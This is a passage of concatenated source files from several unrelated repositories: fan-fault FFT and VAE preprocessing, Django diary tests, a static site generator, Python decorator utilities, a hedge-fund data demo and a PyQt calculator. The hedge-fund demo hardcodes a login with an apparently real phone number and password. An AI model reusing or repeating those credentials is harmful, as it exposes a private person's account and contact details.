verbose=True) plt.plot(history.history['loss']) plt.ylabel("loss") plt.xlabel("epoch") plt.savefig(os.path.join('result/%s/models' % _id, "model_loss.png"), dpi=300) vae.save(os.path.join('result/%s/models' % _id, "model.h5")) return vae --- FILE SEPARATOR --- from model._globals import Config import model.helpers as helpers import model.modeling as models from datetime import datetime as dt from keras.utils import plot_model import os import numpy as np import csv import matplotlib.pyplot as plt from utils.preprocessing import Preprocessor if __name__ == "__main__": # Preprocessor().fft_preprocessing() config = Config("config.yaml") # _id = dt.now().strftime("%Y-%m-%d_%H") _id = '2019-06-20_09' helpers.make_dirs(_id) logger = helpers.setup_logging(config, _id) model = None train_data = np.load('output_data/fft/fft_po2_train_data.npy') train_data_scaled = train_data[:, :, np.newaxis] model = models.get_gru_vae_model(train_data_scaled, logger, _id) # plot_model(model, to_file=os.path.join('result/%s/models' % _id, "gru_vae_model.png"),show_shapes=True) rmse_list = [] temp = model.predict(train_data_scaled) np.save(os.path.join('result/%s/models' % _id, "fft_po2_predict"), temp) # for i in range(train_data.shape[0]-1): # temp = model.predict(train_data_scaled[i:i+1]) # rmse_list.append(np.sqrt(np.mean((train_data_scaled[i:i+1]-temp[0])**2))) # np.save(os.path.join('result/%s/models' % _id, "fft_po2_rmse"), np.array(rmse_list)) # line0_predict = model.predict(train_data_scaled[201:202]) # line1_predict = model.predict(train_data_scaled[101:102]) # np.save(os.path.join('result/%s/models' % _id, "fft_ne2_predict_data_201"), line0_predict) # np.save(os.path.join('result/%s/models' % _id, "fft_ne2_predict_data_101"), line1_predict) # plt.title('comparison diagram(positive_sample_number:201)') # plt.ylabel("Magnitude") # plt.xlabel("Frequency") # plt.plot(train_data_scaled[201:202].reshape(2048), linestyle='dashdot', linewidth=1, color='green', label='origin') # plt.plot(line0_predict[0].reshape(2048), linestyle='dotted', linewidth=1, color='red', label='prediction') # plt.legend(loc='best') # plt.savefig(os.path.join('result/%s/models' % _id, "fft_po2_train_data_201_compare.png"), dpi=300) --- FILE SEPARATOR --- from utils.preprocessing import * --- FILE SEPARATOR --- __all__ = ['Preprocessor'] from utils.preprocessing.preprocessor import * --- FILE SEPARATOR --- import time import binascii import gzip import numpy as np import pandas as pd from scipy.fftpack import fft import os class Preprocessor: def __init__(self): return def filesegmentation(self, file_list, data_frame, label): ''' 根据提供的时间段序列,从总样本中提取获得带标签的数据。 :param file_list (List): 正或负样本的时间段序列,长度为2*N,N为时间段数.i.e:['2017-09-28 08:30:00.000', '2017-09-28 11:00:00.000', '2017-10-12 08:50:00.000','2017-10-12 11:00:00.000'] :param data_frame(Dataframe): 包含所有样本的dataFrame :param label(int): 正负样本标签,取值为0,1. :return:根据file_list提取的带标签的子样本。 ''' if len(file_list) % 2 != 0: raise Exception("Invalid length!", "file_list.length: " + len(file_list)) return for index in range(len(file_list)): file_list[index] = int(time.mktime(time.strptime(file_list[index], '%Y-%m-%d %H:%M:%S.000'))) output_list = [] count = 0 while count < len(file_list): temp = data_frame[(data_frame['timestamp'] >= file_list[count]) & ( data_frame['timestamp'] <= file_list[count + 1])] temp['label'] = label output_list.append(temp) count += 2 return output_list def revertgzip(self, blobvalue): ''' 对编码的blobvalue值进行解码 :param blobvalue(str): :return(np array): ''' b = blobvalue[2:] # 截取掉'0x' c = binascii.a2b_hex(b) # 转换成ASCii编码的字符串 d = str(gzip.decompress(c), encoding="utf8") e = d.split('$') for index in range(len(e)): if e[index] == '': del e[index] d = np.array(e) return d.astype('float') def fft_preprocessing(self): ''' 对waveType为2和6的正负样本进行傅里叶变换,并存储得到的频域值。 ''' sequential_data = pd.read_csv('./output_data/sequential_data.csv') ne_2_sample = sequential_data[(sequential_data.label == 0) & (sequential_data.ml_id == 2)].drop( ['label', 'ml_id', 'Unnamed: 0'], axis=1) ne_6_sample = sequential_data[(sequential_data.label == 0) & (sequential_data.ml_id == 6)].drop( ['label', 'ml_id', 'Unnamed: 0'], axis=1) po_2_sample = sequential_data[(sequential_data.label == 1) & (sequential_data.ml_id == 2)].drop( ['label', 'ml_id', 'Unnamed: 0'], axis=1) po_6_sample = sequential_data[(sequential_data.label == 1) & (sequential_data.ml_id == 6)].drop( ['label', 'ml_id', 'Unnamed: 0'], axis=1) po_6_f = [] ne_6_f = [] ne_2_f = [] po_2_f = [] for index in range(len(po_6_sample)): item = 2.0 / po_6_sample.shape[1] * np.abs(fft(po_6_sample.iloc[index])) po_6_f.append(item[0:len(item)//2]) for index in range(len(ne_6_sample)): item = 2.0 / ne_6_sample.shape[1] * np.abs(fft(ne_6_sample.iloc[index])) ne_6_f.append(item[0:len(item)//2]) for index in range(len(po_2_sample)): item = 2.0 / po_2_sample.shape[1] * np.abs(fft(po_2_sample.iloc[index])) po_2_f.append(item[0:len(item)//2]) for index in range(len(ne_2_sample)): item = 2.0 / ne_2_sample.shape[1] * np.abs(fft(ne_2_sample.iloc[index])) ne_2_f.append(item[0:len(item)//2]) if not os.path.isdir('output_data/fft'): os.mkdir('output_data/fft') np.save('output_data/fft/fft_po6_train_data', np.array(po_6_f)) np.save('output_data/fft/fft_ne6_train_data', np.array(ne_6_f)) np.save('output_data/fft/fft_ne2_train_data', np.array(ne_2_f)) np.save('output_data/fft/fft_po2_train_data', np.array(po_2_f)) def file_segmentation(self): ''' 根据仁喜提供的正负样本时间段,从总样本中分别提取正负样本,并将正负样本合并存储到'output_data/valid_total.csv' 正负样本根据时间段分别存储到output_data/ ''' outdir = "./output_data/" if not os.path.exists(outdir): os.mkdir(outdir) # time_span error_time_point_list = ['2017-09-28 08:30:00.000', '2017-09-28 11:00:00.000', '2017-10-12 08:50:00.000', '2017-10-12 11:00:00.000', '2017-10-12 15:20:00.000', '2017-10-12 17:30:00.000', '2017-10-13 09:02:00.000', '2017-10-13 11:02:00.000', '2017-10-13 13:00:00.000', '2017-10-13 14:48:00.000'] correct_time_point_list = ['2017-10-15 12:26:00.000', '2017-10-15 12:38:00.000', '2017-10-16 09:00:00.000', '2017-10-16 11:00:00.000', '2017-10-16 13:40:00.000', '2017-10-16 14:40:00.000'] fan_fault = pd.read_csv("data/fan_fault.csv") fan_fault['timestamp'] = fan_fault['testtime'].apply( lambda x: int(time.mktime(time.strptime(x, '%Y-%m-%d %H:%M:%S.000')))) correct_data_frame = self.filesegmentation(correct_time_point_list, fan_fault, 1) error_data_frame = self.filesegmentation(error_time_point_list, fan_fault, 0) total_data_frame = pd.concat(correct_data_frame + error_data_frame, axis=0, ignore_index=True) total_data_frame.to_csv(os.path.join(outdir, 'valid_total.csv')) for index in range(len(correct_data_frame)): correct_data_frame[index].to_csv(os.path.join(outdir, str( time.strftime('%Y-%m-%d-%H%M', time.localtime(correct_time_point_list[index * 2]))) + '--' + str( time.strftime('%Y-%m-%d-%H%M', time.localtime(correct_time_point_list[index * 2 + 1]))) + ".csv")) for index in range(len(error_data_frame)): error_data_frame[index].to_csv(os.path.join(outdir, str( time.strftime('%Y-%m-%d-%H%M', time.localtime(error_time_point_list[index * 2]))) + '--' + str( time.strftime('%Y-%m-%d-%H%M', time.localtime(error_time_point_list[index * 2 + 1]))) + ".csv")) def blobvalue_extraction(self): ''' 提取waveType为4的样本的blobvalue,进行解码得到原始时间序列并保存到output_data/sequential_data.csv ''' waveType2 = pd.read_csv('output_data/waveType2_clean.csv') blobvalue_list = waveType2['blobvalue'].copy() label = waveType2['label'].copy() sp = Preprocessor() output_df = pd.DataFrame() for index in range(len(blobvalue_list)): temp = sp.revertgzip(blobvalue_list[index]) output_df = output_df.append(pd.Series(temp), ignore_index=True) output_df['label'] = label output_df['ml_id'] = waveType2['ml_id'].copy() output_df.to_csv('output_data/sequential_data.csv')
[ "/model/helpers.py", "/model/modeling.py", "/run.py", "/utils/__init__.py", "/utils/preprocessing/__init__.py", "/utils/preprocessing/preprocessor.py" ]
0gravity000/Python_Django_sample
from django.contrib.auth import get_user_model from django.test import TestCase from django.urls import reverse_lazy from ..models import Diary class LoggedInTestCase(TestCase): """各テストクラスで共通の事前準備処理をオーバーライドした独自TestCaseクラス""" def setUp(self): """テストメソッド実行前の事前設定""" # テストユーザーのパスワード self.password = '<ログインパスワード>' # 各インスタンスメソッドで使うテスト用ユーザーを生成し # インスタンス変数に格納しておく self.test_user = get_user_model().objects.create_user( username='<ログインユーザー名>', email='<ログインユーザーのメールアドレス>', password=self.password) # テスト用ユーザーでログインする self.client.login(email=self.test_user.email, password=self.password) class TestDiaryCreateView(LoggedInTestCase): """DiaryCreateView用のテストクラス""" def test_create_diary_success(self): """日記作成処理が成功することを検証する""" # Postパラメータ params = {'title': 'テストタイトル', 'content': '本文', 'photo1': '', 'photo2': '', 'photo3': ''} # 新規日記作成処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_create'), params) # 日記リストページへのリダイレクトを検証 self.assertRedirects(response, reverse_lazy('diary:diary_list')) # 日記データがDBに登録されたかを検証 self.assertEqual(Diary.objects.filter(title='テストタイトル').count(), 1) def test_create_diary_failure(self): """新規日記作成処理が失敗することを検証する""" # 新規日記作成処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_create')) # 必須フォームフィールドが未入力によりエラーになることを検証 self.assertFormError(response, 'form', 'title', 'このフィールドは必須です。') class TestDiaryUpdateView(LoggedInTestCase): """DiaryUpdateView用のテストクラス""" def test_update_diary_success(self): """日記編集処理が成功することを検証する""" # テスト用日記データの作成 diary = Diary.objects.create(user=self.test_user, title='タイトル編集前') # Postパラメータ params = {'title': 'タイトル編集後'} # 日記編集処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_update', kwargs={'pk': diary.pk}), params) # 日記詳細ページへのリダイレクトを検証 self.assertRedirects(response, reverse_lazy('diary:diary_detail', kwargs={'pk': diary.pk})) # 日記データが編集されたかを検証 self.assertEqual(Diary.objects.get(pk=diary.pk).title, 'タイトル編集後') def test_update_diary_failure(self): """日記編集処理が失敗することを検証する""" # 日記編集処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_update', kwargs={'pk': 999})) # 存在しない日記データを編集しようとしてエラーになることを検証 self.assertEqual(response.status_code, 404) class TestDiaryDeleteView(LoggedInTestCase): """DiaryDeleteView用のテストクラス""" def test_delete_diary_success(self): """日記削除処理が成功することを検証する""" # テスト用日記データの作成 diary = Diary.objects.create(user=self.test_user, title='タイトル') # 日記削除処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_delete', kwargs={'pk': diary.pk})) # 日記リストページへのリダイレクトを検証 self.assertRedirects(response, reverse_lazy('diary:diary_list')) # 日記データが削除されたかを検証 self.assertEqual(Diary.objects.filter(pk=diary.pk).count(), 0) def test_delete_diary_failure(self): """日記削除処理が失敗することを検証する""" # 日記削除処理(Post)を実行 response = self.client.post(reverse_lazy('diary:diary_delete', kwargs={'pk': 999})) # 存在しない日記データを削除しようとしてエラーになることを検証 self.assertEqual(response.status_code, 404) --- FILE SEPARATOR --- from django.contrib import admin from django.contrib.staticfiles.urls import static from django.urls import path, include from . import settings_common, settings_dev urlpatterns = [ # path('admin/', admin.site.urls), # 管理サイトの旧URLはコメントアウト path('control/', admin.site.urls), # 管理サイトの新URLを登録 path('', include('diary.urls')), path('accounts/', include('allauth.urls')), ] # 開発サーバーでメディアを配信できるようにする設定 urlpatterns += static(settings_common.MEDIA_URL, document_root=settings_dev.MEDIA_ROOT) --- FILE SEPARATOR --- from django import forms class InquiryForm(forms.Form): name = forms.CharField(label='お名前', max_length=30) email = forms.EmailField(label='メールアドレス') title = forms.CharField(label='タイトル', max_length=30) message = forms.CharField(label='メッセージ', widget=forms.Textarea) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields['name'].widget.attrs['class'] = 'form-control col-9' self.fields['name'].widget.attrs['placeholder'] = 'お名前をここに入力してください。' self.fields['email'].widget.attrs['class'] = 'form-control col-11' self.fields['email'].widget.attrs['placeholder'] = 'メールアドレスをここに入力してください。' self.fields['title'].widget.attrs['class'] = 'form-control col-11' self.fields['title'].widget.attrs['placeholder'] = 'タイトルをここに入力してください。' self.fields['message'].widget.attrs['class'] = 'form-control col-12' self.fields['message'].widget.attrs['placeholder'] = 'メッセージをここに入力してください。' --- FILE SEPARATOR --- from django.views import generic from .forms import InquiryForm class IndexView(generic.TemplateView): template_name = "index.html" class InquiryView(generic.FormView): template_name = "inquiry.html" form_class = InquiryForm
[ "/Chapter11/private_diary/diary/tests/test_views.py", "/Chapter13/private_diary/private_diary/urls.py", "/Chapter8/private_diary/diary/forms.py", "/Chapter8/private_diary/diary/views.py" ]
0grre/GSS-Project
class Author: def __init__(self, name, mail, phone, avatar, link=None): self.name = name self.mail = mail self.phone = phone self.avatar = avatar self.link = link def get_author(self): return [self.name, self.mail, self.phone, self.avatar, self.link] --- FILE SEPARATOR --- class Index: def __init__(self, charset, lang, description, title): self.charset = charset self.lang = lang self.description = description self.title = title def get_index(self): return [self.charset, self.lang, self.description, self.title] --- FILE SEPARATOR --- # coding: utf-8 import os import sys from utils.func import md_to_html, index_builder get_MD = sys.argv[1] give_HTML = "./articles" if not os.path.exists(give_HTML): os.makedirs(give_HTML) list_files_MD = os.listdir(get_MD) list_files_MD = [md_to_html(get_MD, n, give_HTML) for n in list_files_MD if n.endswith(".md")] index_builder() --- FILE SEPARATOR --- import markdown2 from utils.html_block import head_builder, footer_builder, container_start, container_end, header_builder, links_builder def md_to_html(get_MD, n, give_HTML): i = 0 f = open(get_MD + "/" + n, "r") page_rendered = markdown2.markdown(f.read()) n = n[:-3] page_rendered_file = open(give_HTML + "/" + n + ".html", "w") head = head_builder(i) header = header_builder(i) article_start = container_start() article_end = container_end() footer = footer_builder(i) page_rendered_file.write(head + header + article_start + page_rendered + article_end + footer) page_rendered_file.close() def index_builder(): i = 1 index_file = open('index.html', 'w') head = head_builder(i) header = header_builder(i) links = links_builder() footer = footer_builder(i) index_file.write(head + header + links + footer) index_file.close() --- FILE SEPARATOR --- import datetime import os from Class.Author import Author from Class.Index import Index from yattag import Doc, indent from json import load with open('config.json', 'r') as config_file: config = load(config_file) author = Author(config.get('name'), config.get('mail'), config.get('phone'), config.get('avatar')) index = Index(config.get('charset'), config.get('lang'), config.get('description'), config.get('title')) d = datetime.datetime.now().strftime("%m/%d/%Y, %H:%M:%S") def head_builder(i): doc, tag, text = Doc().tagtext() doc.asis('<!DOCTYPE html>') doc.asis('<html>') with tag('head'): doc.stag('meta', charset=index.charset) doc.stag('meta', lang=index.lang) doc.stag('meta', name="description", content=index.description) with tag('script', src="https://kit.fontawesome.com/d4acc78081.js", crossorigin="anonymous"): text("") with tag('title'): text(index.title) doc.stag('link', rel="icon", href="favicon.ico") for stylesheet in config.get('stylesheets'): if i != 1: doc.stag('link', rel="stylesheet", href="../" + stylesheet, media="all", type="text/css") else: doc.stag('link', rel="stylesheet", href=stylesheet, media="all", type="text/css") doc.asis('<body>') return indent(doc.getvalue()) def header_builder(i): doc, tag, text = Doc().tagtext() with tag('header'): with tag('div', id="header-filter"): text("") with tag('div', id="header-picture"): if i != 1: doc.stag('img', id="picture", src="../" + author.avatar) else: doc.stag('img', id="picture", src=author.avatar) with tag('h1', id="name"): text(author.name) with tag('h1', id="title"): text(index.title) return indent(doc.getvalue()) def container_start(): doc, tag, text = Doc().tagtext() doc.asis('<div class=container>') doc.asis('<div class=article>') return indent(doc.getvalue()) def container_end(): doc, tag, text = Doc().tagtext() with tag('div', klass="end"): with tag('h4'): text("Auteur : " + author.name) with tag('h5'): text("Mis en ligne le : " + d) doc.asis('</div>') with tag('a', href="../index.html"): with tag('button'): text('HOME') doc.asis('</div>') return indent(doc.getvalue()) def links_builder(): list_articles = os.listdir('articles') doc, tag, text = Doc().tagtext() with tag('h1'): text("Liste des articles") with tag('div', klass="container"): with tag('div', klass="list"): for article in list_articles: with tag('a', href="articles/"+article): title = article[:-5] text(title) return indent(doc.getvalue()) def footer_builder(i): doc, tag, text = Doc().tagtext() with tag('footer'): with tag('ul'): for icon, url in config.get('links').items(): if url != "": with tag('a', href=url): with tag('i', klass="fab fa-" + icon): text("") for script in config.get("scripts"): if i != 1: with tag('script', src="../" + script): text("") else: with tag('script', src=script): text("") doc.asis('</body>') doc.asis('</html>') return indent(doc.getvalue())
[ "/Class/Author.py", "/Class/Index.py", "/generator.py", "/utils/func.py", "/utils/html_block.py" ]
0k/kids.common
# -*- coding: utf-8 -*- # Package placeholder from __future__ import print_function import itertools from .inspect import get_valued_prototype, call_with_valued_prototype def multi(margs): """Demultiply execution of a function along given argument. This offers support on specified argument of multiple values. For instance:: >>> @multi('x') ... def foo(x): ... print("I like %s." % x) Normal call is preserved:: >>> foo('apples') I like apples. But now we can provide lists to the first argument, and this will call the underlying function for each subvalues:: >>> foo(['carrot', 'steak', 'banana']) I like carrot. I like steak. I like banana. You can actualy given also multiple argument to ``mutli`` itself to specify several argument to support expantion:: >>> @multi(['x', 'y']) ... def bar(x, y): ... print("%s likes %s." % (x, y)) Normal call is preserved:: >>> bar('Jane', 'apples') Jane likes apples. But multiple calls are supported in both arguments:: >>> bar(['Jane', 'Cheetah', 'Tarzan'], ['apples', 'banana']) Jane likes apples. Jane likes banana. Cheetah likes apples. Cheetah likes banana. Tarzan likes apples. Tarzan likes banana. Please also notice that multi will return None whatever the actual results of the inner function. """ if not isinstance(margs, (tuple, list)): margs = [margs] def decorator(f): def _f(*a, **kw): prototype = get_valued_prototype(f, a, kw) all_mvalues = [prototype[marg] for marg in margs] all_mvalues = [v if isinstance(v, (tuple, list)) else [v] for v in all_mvalues] ret = [] for mvalues in itertools.product(*all_mvalues): prototype.copy() prototype.update(dict(zip(margs, mvalues))) ret.append(call_with_valued_prototype(f, prototype)) return _f return decorator --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # Package placeholder import traceback def format_last_exception(prefix=" | "): """Format the last exception for display it in tests. This allows to raise custom exception, without loosing the context of what caused the problem in the first place: >>> def f(): ... raise Exception("Something terrible happened") >>> try: ## doctest: +ELLIPSIS ... f() ... except Exception: ... formated_exception = format_last_exception() ... raise ValueError('Oups, an error occured:\\n%s' % formated_exception) Traceback (most recent call last): ... ValueError: Oups, an error occured: | Traceback (most recent call last): ... | Exception: Something terrible happened """ return '\n'.join(str(prefix + line) for line in traceback.format_exc().strip().split('\n')) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from __future__ import absolute_import import inspect import collections def get_arg_spec(f): args, varargs, keywords, defaults = inspect.getargspec(f) defaults = [] if defaults is None else defaults defaults = collections.OrderedDict( reversed(list( (k, v) for k, v in zip(reversed(args), reversed(defaults))))) return args, varargs, keywords, defaults def get_valued_prototype(f, a, kw): """Returns an ordered dict of the label/value received by given function Returns the mapping applied to the function:: >>> get_valued_prototype(lambda a, b: None, [1, 2], {}) OrderedDict([('a', 1), ('b', 2)]) So this means 'a' will be valuated with 1, etc... default values -------------- It works also if you have default values:: >>> get_valued_prototype(lambda a, b, c=None: None, [1, 2], {}) OrderedDict([('a', 1), ('b', 2), ('c', None)]) >>> get_valued_prototype(lambda a, b, c=None: None, [1, 2, 3], {}) OrderedDict([('a', 1), ('b', 2), ('c', 3)]) keyword values -------------- >>> get_valued_prototype( ... lambda a, b=None, c=None: None, ... [1, ], {'c': 3}) OrderedDict([('a', 1), ('b', None), ('c', 3)]) """ args, _varargs, _keywords, defaults = get_arg_spec(f) a = list(a) if defaults: a.extend(defaults.values()) res = collections.OrderedDict( (label, a[idx]) for idx, label in enumerate(args)) if kw: for k, v in kw.items(): res[k] = v return res def call_with_valued_prototype(f, valued_prototype): """Call and return the result of the given function applied to prototype For instance, here, we will call the lambda with the given values:: >>> call_with_valued_prototype( ... lambda a, b: "a: %s, b: %s" % (a, b), ... {'a': 1, 'b': 2}) 'a: 1, b: 2' If you fail valuating all the necessary values, it should bail out with an exception:: >>> call_with_valued_prototype( ... lambda a, b: "a: %s, b: %s" % (a, b), ... {'a': 1, 'c': 2}) Traceback (most recent call last): ... ValueError: Missing value for argument 'b'. If you provide wrong values, it should fail as if you called it yourself:: >>> call_with_valued_prototype( ... lambda a, b: "a: %s, b: %s" % (a, b), ... {'a': 1, 'b': 2, 'foo': 'bar'}) Traceback (most recent call last): ... TypeError: '<lambda>' got unexpecteds keywords argument foo """ args, _varargs, _keywords, defaults = get_arg_spec(f) build_args = [] valued_prototype = valued_prototype.copy() for arg in args: if arg in valued_prototype: value = valued_prototype.pop(arg) else: try: value = defaults[arg] except KeyError: raise ValueError("Missing value for argument %r." % arg) build_args.append(value) if len(valued_prototype): raise TypeError("%r got unexpecteds keywords argument %s" % (f.__name__, ", ".join(valued_prototype.keys()))) return f(*build_args)
[ "/src/kids/common/decorator.py", "/src/kids/common/exc.py", "/src/kids/common/inspect.py" ]
0kai/OpenData
# encoding: utf-8 from opendatatools import hedgefund if __name__ == '__main__': hedgefund.set_proxies({"https" : "https://127.0.0.1:1080"}) # 登录 user_info, msg = hedgefund.login('18612562791', 'a123456') # 加载数据 #hedgefund.load_data() # 获取私募基金列表 #df, msg = hedgefund.get_fund_list() #print(df) df, msg = hedgefund.get_fund_nav('HF00004571') print(df) --- FILE SEPARATOR --- from .hedgefund_interface import * --- FILE SEPARATOR --- from .simu_agent import SimuAgent simu_agent = SimuAgent() def set_proxies(proxies): simu_agent.set_proxies(proxies) def login(username, password): user_info, msg = simu_agent.login(username, password) return user_info, msg def load_data(): df_fundlist, msg = simu_agent.load_data() return df_fundlist, msg def get_fund_list(): return simu_agent.get_fund_list() def get_fund_nav(fund_id): return simu_agent.get_fund_nav(fund_id) --- FILE SEPARATOR --- # encoding: utf-8 from .anjuke_agent import AnjukeAgent from .lianjia_agent import LianjiaAgent anjuke_agent = AnjukeAgent() lianjia_agent = LianjiaAgent() def set_proxies(proxies): anjuke_agent.set_proxies(proxies) lianjia_agent.set_proxies(proxies) def get_city_list(): return anjuke_agent.get_city_list() def get_real_house_price(city): return anjuke_agent.get_real_house_price(city) def get_city_list_lianjia(): return lianjia_agent.get_city_list() def get_district_list_lianjia(city): return lianjia_agent.get_district_by_city(city) def get_esf_list_lianjia(city, max_page_no=10): city_list = lianjia_agent.get_city_list() if city not in city_list: msg = "invalid city, please use " + ".".join(city_list) return None, msg return lianjia_agent.get_esf_list(city, max_page_no) def get_esf_list_by_distinct_lianjia(city, district, max_page_no=10): city_list = lianjia_agent.get_city_list() if city not in city_list: msg = "invalid city, please use " + ".".join(city_list) return None, msg district_map = lianjia_agent.get_district_by_city(city) if district not in district_map: msg = "invalid district, please use " + ".".join(district_map.keys()) return None, msg return lianjia_agent.get_esf_list_by_district(city, district, max_page_no)
[ "/example/hedgefund_demo.py", "/opendatatools/hedgefund/__init__.py", "/opendatatools/hedgefund/hedgefund_interface.py", "/opendatatools/realestate/realestate_interface.py" ]
0l9h/Calculator-with-PyQt
class AvoidBugs(): def delFirstZero(self): if str(self.line)[0] == '0' and len(str(self.line)) > 1: self.line = self.line[1:] # if number starts with '0' and != 0, delete first this zero def killExcessiveElement(self): if len(self.values_list) == 3: # deletes excessive element from values list, if it exists self.values_list.pop(0) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'calculator.ui' # # Created by: PyQt5 UI code generator 5.14.2 # # WARNING! All changes made in this file will be lost! import sys from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Form(QtWidgets.QMainWindow): def setupUi(self, Form): Form.setObjectName("Form") Form.resize(525, 361) Form.setStyleSheet("QPushButton{\n" " width: 50px;\n" " height: 50px;\n" " font-size: 25px;\n" " font-weight: bold;\n" " color: rgb(74, 74, 74);\n" "}\n" "\n" "QPushButton:hover{\n" " background-color: silver;\n" "}\n" "\n" "QLabel{\n" " background-color: rgb(188, 188, 188)\n" "}\n" "\n" "") self.gridLayoutWidget = QtWidgets.QWidget(Form) self.gridLayoutWidget.setGeometry(QtCore.QRect(90, 20, 320, 333)) self.gridLayoutWidget.setObjectName("gridLayoutWidget") self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setObjectName("gridLayout") self.pushButton_MULTIPLY = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_MULTIPLY.setObjectName("pushButton_MULTIPLY") self.gridLayout.addWidget(self.pushButton_MULTIPLY, 5, 3, 1, 1) self.pushButton_8 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_8.setObjectName("pushButton_8") self.gridLayout.addWidget(self.pushButton_8, 5, 1, 1, 1) self.pushButton_DEL = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_DEL.setObjectName("pushButton_DEL") self.gridLayout.addWidget(self.pushButton_DEL, 6, 0, 1, 1) self.pushButton_2 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_2.setObjectName("pushButton_2") self.gridLayout.addWidget(self.pushButton_2, 3, 1, 1, 1) self.pushButton_0 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_0.setIconSize(QtCore.QSize(16, 16)) self.pushButton_0.setObjectName("pushButton_0") self.gridLayout.addWidget(self.pushButton_0, 6, 1, 1, 1) self.pushButton_PLUS = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_PLUS.setObjectName("pushButton_PLUS") self.gridLayout.addWidget(self.pushButton_PLUS, 3, 3, 1, 1) self.pushButton_6 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_6.setObjectName("pushButton_6") self.gridLayout.addWidget(self.pushButton_6, 4, 2, 1, 1) self.label = QtWidgets.QLabel(self.gridLayoutWidget) font = QtGui.QFont() font.setPointSize(22) font.setBold(False) font.setWeight(50) self.label.setFont(font) self.label.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) self.label.setStyleSheet("") self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName("label") self.gridLayout.addWidget(self.label, 0, 0, 1, 4) self.pushButton_MINUS = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_MINUS.setObjectName("pushButton_MINUS") self.gridLayout.addWidget(self.pushButton_MINUS, 4, 3, 1, 1) self.pushButton_DIVIDE = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_DIVIDE.setObjectName("pushButton_DIVIDE") self.gridLayout.addWidget(self.pushButton_DIVIDE, 6, 3, 1, 1) self.pushButton_5 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_5.setObjectName("pushButton_5") self.gridLayout.addWidget(self.pushButton_5, 4, 1, 1, 1) self.pushButton_4 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_4.setObjectName("pushButton_4") self.gridLayout.addWidget(self.pushButton_4, 4, 0, 1, 1) self.pushButton_7 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_7.setObjectName("pushButton_7") self.gridLayout.addWidget(self.pushButton_7, 5, 0, 1, 1) self.pushButton_9 = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_9.setObjectName("pushButton_9") self.gridLayout.addWidget(self.pushButton_9, 5, 2, 1, 1) self.pushButton_3 = QtWidgets.QPushButton(self.gridLayoutWidget) font = QtGui.QFont() font.setFamily("MS Shell Dlg 2") font.setPointSize(22) font.setBold(True) font.setWeight(75) self.pushButton_3.setFont(font) self.pushButton_3.setObjectName("pushButton_3") self.gridLayout.addWidget(self.pushButton_3, 3, 2, 1, 1) self.lineEdit = QtWidgets.QLabel(self.gridLayoutWidget) self.lineEdit.setStyleSheet("QLabel{\n" " height: 30px;\nbackground-color: #6ebfb8;\nfont: 75 16pt 'Palatino Linotype';\n" "}") self.lineEdit.setObjectName("lineEdit") self.gridLayout.addWidget(self.lineEdit, 2, 0, 1, 4) self.pushButton_EQUALS = QtWidgets.QPushButton(self.gridLayoutWidget) self.pushButton_EQUALS.setObjectName("pushButton_EQUALS") self.gridLayout.addWidget(self.pushButton_EQUALS, 6, 2, 1, 1) self.pushButton_1 = QtWidgets.QPushButton(self.gridLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.pushButton_1.sizePolicy().hasHeightForWidth()) self.pushButton_1.setSizePolicy(sizePolicy) self.pushButton_1.setStyleSheet("") self.pushButton_1.setObjectName("pushButton_1") self.gridLayout.addWidget(self.pushButton_1, 3, 0, 1, 1) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): _translate = QtCore.QCoreApplication.translate Form.setWindowTitle(_translate("Form", "Calculator")) self.pushButton_MULTIPLY.setText(_translate("Form", "*")) self.pushButton_8.setText(_translate("Form", "8")) self.pushButton_DEL.setText(_translate("Form", "DEL")) self.pushButton_2.setText(_translate("Form", "2")) self.pushButton_0.setText(_translate("Form", "0")) self.pushButton_PLUS.setText(_translate("Form", "+")) self.pushButton_6.setText(_translate("Form", "6")) self.label.setText(_translate("Form", "CALCULATOR")) self.pushButton_MINUS.setText(_translate("Form", "-")) self.pushButton_DIVIDE.setText(_translate("Form", "/")) self.pushButton_5.setText(_translate("Form", "5")) self.pushButton_4.setText(_translate("Form", "4")) self.pushButton_7.setText(_translate("Form", "7")) self.pushButton_9.setText(_translate("Form", "9")) self.pushButton_3.setText(_translate("Form", "3")) self.pushButton_EQUALS.setText(_translate("Form", "=")) self.pushButton_1.setText(_translate("Form", "1")) --- FILE SEPARATOR --- import sys from PyQt5 import QtCore, QtGui, QtWidgets from interface import Ui_Form from operations import math_operations from math import ceil from debug import AvoidBugs class Example(Ui_Form, math_operations, AvoidBugs): values_list = [] line = '' op = '' def Connection(self): self.pushButton_0.clicked.connect(self.num_button_clicked) self.pushButton_1.clicked.connect(self.num_button_clicked) self.pushButton_2.clicked.connect(self.num_button_clicked) 